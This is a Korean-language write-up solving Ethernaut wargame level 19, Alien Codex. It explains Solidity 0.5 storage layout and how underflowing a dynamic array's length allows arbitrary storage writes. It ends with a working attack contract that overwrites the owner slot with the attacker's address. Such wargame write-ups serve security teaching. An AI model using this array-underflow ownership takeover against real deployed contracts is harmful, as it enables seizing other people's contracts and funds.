level 19 Alien Codex
이번 문제는 Ethernaut의 19번째 문제인 Alien Codex 입니다.
난이도는 별 4개로 풀기 위해서는 알아야 하는 개념들이 조금 어려운 편 입니다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "../helpers/Ownable-05.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
위 컨트랙트의 소유권 즉 owner를 자신의 주소로 바꿔야 합니다.
얼핏 보기에는 위 컨트랙트는 Owner를 상속받을 뿐 owner 변수가 없다고 볼 수도 있지만 여기서 알아야할 점이 한가지 있습니다.
힌트에도 언급되어 있는 부분인데 evm Storage의 특징을 잘 알아야 합니다.
만약 컨트랙트가 어떤 컨트랙트를 상속 받는 다면 부모 컨트랙트의 스토리지에 저장되어 있는 값들을 자식 컨트랙트의 맨 앞에서부터 저장이 되게 됩니다.
자식 컨트랙트의 Storage slot 가장 앞 부분 부터 채워지게 됩니다.
그리고 0.5.0v의 Owner 컨트랙트에는 Storage slot 0에 owner가 저장되어 있습니다.
그렇다면 해당 문제 컨트랙트의 Starge slot 0에는 아래와 같이 데이터가 저장되어 있을 것 입니다.
bool contact(1byte)/owner address(20byte)
그리고 owner는 컨트랙트를 배포한 사람의 주소로 되어 있을 것 입니다.
그렇다면 Starge slot 0에 접근해 값을 자신의 주소로 변경하면 문제가 해결 됩니다.
문제 컨트랙트의 버전은 ^0.5.0 입니다. 해당 버전에서는 아직 자동으로 underflow나 overflow 검사를 지원하지 않기 때문에 safemath나 조건을 걸어두지 않는다면 범위에서 벗어났을 때 최대 값이나 최소 값으로 숫자가 변하게 됩니다. 이 부분을 잘 활용해야 합니다. 잘 활용한 다면 스토리지의 어느 곳이든 접근할 수 있습니다. 저희는 Storage slot 0에 접근해야 하기 때문에 이 부분을 활용해 접근하면 됩니다.
동적 배열이 스토리지에 저장되는 방법을 알아야 합니다.
동적 배열은 크기가 얼마나 될지 모르기 때문에 스토리지 충돌을 피하기 위해 데이터를 아래와 같은 slot에 저장하게 됩니다.
keccak256(storage slot) + i
이 부분을 알고 위 overflow나 underflow 문제와 결합하여 Starge slot 0에 접근해서 값을 바꿔야 합니다.
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
위 함수를 통해 지정한 배열의 인덱스 위치에 존재하는 data의 값을 바꿀 수 있습니다.
keccak256(0x1) + index
이런식으로 Storage slot을 정해 해당 slot에 값을 저장할 것이기 때문에 위 값을 0으로 만들어주어야 합니다.
그러기 위해선 index를 2**256 + keccak256(0x1) 을 넣어 주어야 딱 최대값이 되면서 overflow가 일어나 저장할 slot의 위치가 0이 될 것 입니다.
공격 컨트랙트에서도 버전을 문제 컨트랙트와 같게 하여 underflow, overflow를 이용하겠습니다.
contract Attack {
AlienCodex target;
constructor(address _target) public {
target = AlienCodex(_target);
target.makeContact();
target.retract(); // make codex length ==> 2**256-1
bytes32 targetIndex = keccak256(abi.encode(1));
uint256 targetNum = 0;
targetNum -= 1; // targetNum == 256**2-1
targetNum -= uint256(targetIndex);
targetNum += 1; // targetNum == 256**2 - targetIndex
target.revise(targetNum, bytes32(uint256(address(msg.sender))));
}
}
컨트랙트가 배포만 되어도 공격이 진행될 수 있게 모두 생성자 함수 안에 구현하였습니다.
이렇게 Alien Codex 문제를 해결할 수 있었습니다.